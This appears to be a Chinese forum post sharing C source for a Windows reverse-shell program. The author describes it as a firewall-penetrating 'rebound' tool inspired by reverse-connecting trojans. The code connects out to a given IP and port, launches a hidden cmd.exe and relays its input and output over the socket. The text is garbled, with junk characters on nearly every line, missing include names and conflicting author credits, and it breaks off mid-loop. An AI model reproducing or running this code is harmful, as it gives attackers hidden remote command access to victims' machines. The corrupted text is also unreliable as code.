这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uv=.2U46
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/* ============================== E5)b
Rebound port in Windows NT L%BNz3:Dt
By wind,2006/7 TatpXN\
===============================*/ >SML"+>
#include Anscr
#include [K9'<Qnu
KAC6Snu1
#pragma comment(lib,"wsock32.lib") IOb*GTb
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void OutputShell(); xgpi-l
SOCKET sClient; 9^,Lc1"M>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3^R&:|,
x$IX5:E#e
void main(int argc,char **argv) bLe<G
{ &=#[(vl
WSADATA stWsaData; >_o}
int nRet; &QDW9
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SOCKADDR_IN stSaiClient,stSaiServer; E_k$W5
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if(argc != 3) #bMuvaP~
{ |UK}
printf("Useage:\n\rRebound DestIP DestPort\n"); K <pV
return; hCCiD9gz
} S/^"@?z,vE
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WSAStartup(MAKEWORD(2,2),&stWsaData); N$h{Yvbn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .z
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stSaiClient.sin_family = AF_INET; ZT,B(#m
stSaiClient.sin_port = htons(0); T?
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ])L
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KMU4n-s"o
{ \=uKHNP?#
printf("Bind Socket Failed!\n"); "ul {d(K3
return; ]3VI|f$$
} -M[$Z y^
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stSaiServer.sin_family = AF_INET; %F!1
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #>%X_o-o23
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G>wqt@%r9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fb^:V4<T
{ BlXB7q,
printf("Connect Error!"); }RmU%IYc
return; kD*2~Z ?;
} IkBei&4F`
OutputShell(); !'mq ?C=
} _acE:H
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void OutputShell() UG2nX3?
{ p /#$io
char szBuff[1024]; ?\$#L^;b}
SECURITY_ATTRIBUTES stSecurityAttributes; rypTKT|U;
OSVERSIONINFO stOsversionInfo; {jYOsl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s0DGC
STARTUPINFO stStartupInfo; jJuW-(/4[
char *szShell; $/.zm;D
PROCESS_INFORMATION stProcessInformation; x/;bu W-
unsigned long lBytesRead; ]T;EdK-
{)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R,F[XI+=N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; KcK>%%
stSecurityAttributes.bInheritHandle = TRUE; enp)-nS0
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t: #6sF
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ttxqf:OMf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GFel(cx:K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZJwrLV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m9" n4a|:
stStartupInfo.wShowWindow = SW_HIDE;
T9]HGB{
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wQwQXNG
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GetVersionEx(&stOsversionInfo); ~v]!+`_J
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switch(stOsversionInfo.dwPlatformId) 7N:Y?Hi\
{ po$ /7
case 1: O
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szShell = "command.com"; ?gJy3@D
break; zgs (Dt;
default: g>dA$h%
szShell = "cmd.exe"; *M$0J'-BQ
break; c0hwc1kv-
} n@U n
f}1&HI8r
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (*oL+ef-C
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send(sClient,szMsg,77,0); &_"]5/"(
while(1) ]`&Yqg
{ Dh5X/y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H63,bNS s
if(lBytesRead) _T2=J+"-Kp
{ Td G!&:>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /c2w/+ _
send(sClient,szBuff,lBytesRead,0); d4nH_?
} E I:w
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else D3)zk@N
{ );Z1a&K5k
lBytesRead=recv(sClient,szBuff,1024,0); 6(G?MW.
if(lBytesRead<=0) break; Gi "941zVl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <